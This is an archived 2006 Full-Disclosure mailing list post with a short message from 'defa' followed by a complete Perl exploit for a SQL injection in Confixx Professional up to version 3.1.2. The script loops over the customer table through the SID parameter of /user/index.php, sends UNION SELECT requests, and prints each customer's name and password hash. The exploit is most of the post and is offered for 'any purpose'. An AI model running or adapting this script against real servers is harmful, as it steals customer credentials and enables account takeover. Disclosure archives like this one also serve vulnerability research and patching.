full-disclosure - Confixx Index.PHP SQL Injection Vulnerability (Exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <5C42F7DC-C141-414E-916B-13353CA74C65@systemli.org>
Date: Wed Apr 19 17:02:30 2006
From: defa at systemli.org (defa)
Subject: Confixx Index.PHP SQL Injection Vulnerability
	(Exploit - not new vuln)

sry - i know this isn't a cvs repository here -

but the code posted yesterday was written after some 'b33r' an i made  
it looking
a little less drunk this morning.

bye
defa

----BOF----
#!/usr/bin/perl

######################################################################## 
########
#                                                                        
        #
# exploit for confixx professional <=  
3.1.2                                    #
#                                                                        
        #
# the vulerability was discovered by: LoK  
Crew                                 #
# references: http://www.securityfocus.com/bid/ 
17476                           #
#                                                                        
        #
# exploit can be used for any purpose but on own  
risk                          #
#                                                                        
        #
# (c) by defa - sorry for the crappy  
code                                      #
#                                                                        
        #
# url is just the host - directory is $url/user/index.php by  
default           #
# the exploit just fetches the longpw hashes of alle  
users                     #
#                                                                        
        #
# parts of the code are stolen from RuSH exploits - thanks a lot  
folks         #
######################################################################## 
########

use IO::Socket;

if (@ARGV < 1)
{
	print q(
		exploit by defa (2006)
		=========================
		confixx_exploit.pl [URL]
		
		params:
   		[URL] - server url
   		
   		example: confixx_exploit.pl 127.0.0.1
	);
	exit;
}

$serv  = $ARGV[0];
$serv =~ s/(http:\/\/)//eg;

for ($i=0;$i<=100;$i++)
{
$hit = 0;
$url = "http://";
$url .= $serv;
$url .= "/user/index.php?SID=1'%20AND%200=1%20UNION%20SELECT%20CONCAT";
$url .= "('_error|s:',length(longpw)%2Blength(kunde)%2B11,':%22','HIT: 
%20',";
$url .= "kunde,'%20:%20',longpw,'%20:%20','%22;')%20AS%20'sdata'% 
20FROM%20";
$url .= "kunden%20LIMIT%20";
$url .= "$i,1/*";

$socket = IO::Socket::INET->new(
	Proto => "tcp",
	PeerAddr => $serv,
	PeerPort => "80") || die "[-] CONNECT FAILED\r\n";


print  $socket "GET $url HTTP/1.1\n";
print  $socket "Host: $serv\n";
print  $socket 'User-Agent: confixx_exploit'."\n";
print $socket "Connection: close\n\n";
while ($answer = <$socket>)
{
	if ($answer =~ /<p>HIT:/)
	{
		@result = split(/: /,$answer);
	
		print "$result[1]: $result[2]\n";
		$hit = 1;
	}

}
if ($hit == 0) {die("that's it");}
}

----EOF----
--
don't eat yellow snow